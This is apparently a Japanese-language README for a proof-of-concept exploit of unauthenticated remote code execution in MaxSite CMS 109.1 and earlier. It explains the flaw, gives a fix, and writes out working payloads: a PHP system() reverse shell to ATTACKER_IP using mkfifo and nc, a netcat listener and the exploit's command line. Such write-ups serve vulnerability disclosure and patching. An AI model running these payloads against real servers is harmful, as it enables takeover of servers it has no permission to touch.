
MaxSite CMS <= 109.1 の MarkItUp エディタの AJAX エンドポイントを介した、認証不要のリモートコード実行の概念実証エクスプロイト。検出およびリバースシェルペイロードを備えています。
MaxSite CMS ≤ 109.1 における認証なしリモートコード実行(RCE) の脆弱性。
この欠陥は、MarkItUp エディタプラグインの AJAX エンドポイントにおける脆弱な認可チェックと、run_php プラグインによるユーザー指定 PHP コードの安全でない実行が組み合わさることで発生します。
この脆弱性は、MarkItUp エディタプラグインの以下のファイルに影響します:
preview-ajax.phpautosave-post-ajax.phpこれらのエンドポイントは:
run_php プラグインに渡すeval() を使用して [php]...[/php] ショートコードを実行攻撃者は、data パラメータを介して Base64 エンコードされた内部パスと悪意のある PHP ペイロードを含む細工された POST リクエストを /ajax/ ルートに送信することで、以下を引き起こす可能性があります:
graph TD
A["Attacker"] -->|"Malicious POST Request"| B["AJAX Endpoint"]
B -->|"Referer Spoofing"| C["preview-ajax.php"]
C -->|"Unsanitized Input"| D["run_php Plugin"]
D -->|"eval() Execution"| E["Arbitrary PHP Execution"]
E -->|"Command Execution"| F["Compromised Server"]
run_php プラグインが有効(一般的なデフォルト)eval() を許可する PHP 設定Python 3 の概念実証エクスプロイト(exploit.py)が含まれています。
[php]echo 'RCE CONFIRMED - ' . phpversion();[/php]
[php]system('rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc ATTACKER_IP ATTACKER_PORT >/tmp/f');[/php]
nc -lvnp 9001
python3 exploit.py http://target.com --lhost 10.10.14.22 --lport 9001
run_php プラグインを無効化脆弱なファイルに認証チェックを追加:
if (!is_login()) {
die('Access denied');
}
mso_checkreferer();
このプロジェクトは以下を目的として提供されています:
⚠️ 明示的な許可なしにシステムに対して使用しないでください。
著者は誤用または損害について一切の責任を負いません。
Mohammed Idrees Banyamer ヨルダン 🇯🇴 セキュリティリサーチャー
banyamer_security — Silent Hunter • Shadow Presence
2026年3月